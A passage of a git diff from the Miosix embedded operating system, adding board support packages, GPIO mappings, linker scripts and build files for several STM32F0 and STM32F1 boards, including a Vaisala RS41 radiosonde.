software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | + RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | + RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xffffffff; + GPIOC->OSPEEDR=0xffffffff; + GPIOD->OSPEEDR=0xffffffff; + GPIOE->OSPEEDR=0xffffffff; + GPIOF->OSPEEDR=0xffffffff; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + // #ifdef WITH_FILESYSTEM + // basicFilesystemSetup(); + // #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + // #ifdef WITH_FILESYSTEM + // FilesystemManager::instance().umountAll(); + // #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + // #ifdef WITH_FILESYSTEM + // FilesystemManager::instance().umountAll(); + // #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..d7d2e1250 --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +///\internal Pin connected to SD card detect +//TODO: no filesystem typedef Gpio sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +/*TODO: no filesystem +inline bool sdCardSense() +{ + return sdCardDetect::value()==0; +}*/ + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/stm32vldiscovery.cfg b/miosix/arch/board/stm32f072rb_stm32f0discovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/stm32vldiscovery.cfg rename to miosix/arch/board/stm32f072rb_stm32f0discovery/openocd.cfg diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/unikernel.ld b/miosix/arch/board/stm32f072rb_stm32f0discovery/unikernel.ld new file mode 100644 index 000000000..a0fb722d1 --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f072 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 16K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100c8_microboard/CMakeLists.txt b/miosix/arch/board/stm32f100c8_microboard/CMakeLists.txt new file mode 100644 index 000000000..9527df5c0 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f100c8_microboard +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_rtc.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_MICROBOARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_MICROBOARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100c8_microboard/Makefile.inc b/miosix/arch/board/stm32f100c8_microboard/Makefile.inc new file mode 100644 index 000000000..893a913d3 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f100c8_microboard +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/stm32_rtc.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_MICROBOARD +BOARD_CXXFLAGS := -D_BOARD_MICROBOARD + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100c8_microboard/boot.cpp b/miosix/arch/board/stm32f100c8_microboard/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..94d19e0e3 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/bsp.cpp @@ -0,0 +1,203 @@ +/*************************************************************************** + * Copyright (C) 2017 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/stm32_rtc.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// PVD driver +// + +static void configureLowVoltageDetect() +{ + PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled + | PWR_CR_PLS_1 + | PWR_CR_PLS_0; //2.5V threshold +} + +bool lowVoltageCheck() +{ + return (PWR->CSR & PWR_CSR_PVDO) ? false : true; +} + +// +// class NonVolatileStorage +// + +NonVolatileStorage& NonVolatileStorage::instance() +{ + static NonVolatileStorage singleton; + return singleton; +} + +bool NonVolatileStorage::erase() +{ + FastGlobalIrqLock dLock; + if(IRQunlock()==false) return false; + + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR |= FLASH_CR_PER; + FLASH->AR=baseAddress; + FLASH->CR |= FLASH_CR_STRT; + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR &= ~FLASH_CR_PER; + + FLASH->CR |= FLASH_CR_LOCK; + + for(int i=0;i(baseAddress+i)!=0xff) return false; + return true; +} + +bool NonVolatileStorage::program(const void* data, int size, int offset) +{ + if(size<=0 || offset<0) return false; + const char *ptr=reinterpret_cast(data); + size=min(size,capacity()-offset); + + FastGlobalIrqLock dLock; + if(IRQunlock()==false) return false; + + bool result=true; + for(int i=0;i(baseAddress+offset+i); + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR |= FLASH_CR_PG; + *target=val; + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR &= ~FLASH_CR_PG; + if(*target!=val) result=false; + } + + FLASH->CR |= FLASH_CR_LOCK; + return result; +} + +void NonVolatileStorage::read(void* data, int size) +{ + size=min(size,capacity()); + memcpy(data,reinterpret_cast(baseAddress),size); +} + +bool NonVolatileStorage::IRQunlock() +{ + if((FLASH->CR & FLASH_CR_LOCK)==0) return true; + FLASH->KEYR=0x45670123; + FLASH->KEYR=0xCDEF89AB; + if((FLASH->CR & FLASH_CR_LOCK)==0) return true; + return false; +} + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios, as well as AFIO, SPI1 + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + + //All GPIOs default to input with pulldown + GPIOA->CRL=0x88888888; GPIOA->CRH=0x88888888; + GPIOB->CRL=0x88888888; GPIOB->CRH=0x88888888; + GPIOC->CRH=0x88888888; + GPIOD->CRL=0x88888888; + + redLed::mode(Mode::OUTPUT); + yellowLed::mode(Mode::OUTPUT); + ledOn(); + Rtc::instance(); //Starting the 32KHz oscillator takes time + ledOff(); + + configureLowVoltageDetect(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + //Nothing to do +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + reboot(); //This board needs no shutdown support, so we reboot on shutdown +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/bsp_impl.h similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/bsp_impl.h rename to miosix/arch/board/stm32f100c8_microboard/interfaces-impl/bsp_impl.h diff --git a/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..a5c323295 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/interfaces-impl/hwmapping.h @@ -0,0 +1,52 @@ +/*************************************************************************** + * Copyright (C) 2017 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio redLed; +typedef Gpio yellowLed; + +namespace expansion { +typedef Gpio io0; +typedef Gpio io1; +typedef Gpio io2; +typedef Gpio io3; +typedef Gpio io4; +typedef Gpio io5; +typedef Gpio io6; +typedef Gpio io7; +typedef Gpio io8; +typedef Gpio io9; +typedef Gpio io10; +typedef Gpio io11; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f100c8_microboard/unikernel.ld b/miosix/arch/board/stm32f100c8_microboard/unikernel.ld new file mode 100644 index 000000000..09bc89247 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_microboard/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* 1KB reserved by BSP for non volatile storage */ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 63K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/CMakeLists.txt b/miosix/arch/board/stm32f100c8_vaisala_rs41/CMakeLists.txt new file mode 100644 index 000000000..c18190076 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f100c8_vaisala_rs41 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_VAISALA_RS41) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_VAISALA_RS41) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/Makefile.inc b/miosix/arch/board/stm32f100c8_vaisala_rs41/Makefile.inc new file mode 100644 index 000000000..9bc8b9f73 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32f100c8_vaisala_rs41 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_VAISALA_RS41 +BOARD_CXXFLAGS := -D_BOARD_VAISALA_RS41 + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/boot.cpp b/miosix/arch/board/stm32f100c8_vaisala_rs41/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..a7c794019 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/bsp.cpp @@ -0,0 +1,136 @@ +/*************************************************************************** + * Copyright (C) 2020 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/stm32_rtc.h" +#include "board_settings.h" +#include "hwmapping.h" + +using namespace std; + +namespace miosix { + +// +// PVD driver +// + +static void configureLowVoltageDetect() +{ + PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled + | PWR_CR_PLS_1 + | PWR_CR_PLS_0; //2.5V threshold +} + +bool lowVoltageCheck() +{ + return (PWR->CSR & PWR_CSR_PVDO) ? false : true; +} + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios and AFIO + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + + //All GPIOs default to input with pulldown + GPIOA->CRL=0x88888888; GPIOA->CRH=0x88888888; + GPIOB->CRL=0x88888888; GPIOB->CRH=0x88888888; + GPIOC->CRH=0x88888888; + GPIOD->CRL=0x88888888; + + redLed::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + + configureLowVoltageDetect(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + //Nothing to do +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + //Cut power to whole system + poweroff::mode(Mode::OUTPUT); + poweroff::high(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/bsp_impl.h similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41/interfaces-impl/bsp_impl.h rename to miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/bsp_impl.h diff --git a/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..2de7b9f13 --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/interfaces-impl/hwmapping.h @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2020 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio vbat; +typedef Gpio pushbutton; +typedef Gpio poweroff; + +typedef Gpio greenLed; +typedef Gpio redLed; + +namespace frontend +{ + typedef Gpio meas_out; + typedef Gpio pullup_hygro; + typedef Gpio spst2_2; + typedef Gpio frontend_unk_1; + typedef Gpio heat_hum_1; + + typedef Gpio frontend_unk_2; + typedef Gpio spdt1_2; + typedef Gpio spdt2_2; + typedef Gpio spdt3_2; + typedef Gpio spst1_2; + typedef Gpio heat_hum_2; + + typedef Gpio pullup_temp; + + typedef Gpio spst3_2; + typedef Gpio spst4_2; +} + +namespace nfc +{ + typedef Gpio in1; + typedef Gpio in2; + typedef Gpio out; +} + +namespace gps +{ + typedef Gpio rxd; + typedef Gpio txd; + typedef Gpio nReset; +} + +namespace spi +{ + typedef Gpio sclk; + typedef Gpio miso; + typedef Gpio mosi; + + typedef Gpio csBaro; + typedef Gpio csEeprom; + typedef Gpio csRadio; +}; + +} //namespace miosix diff --git 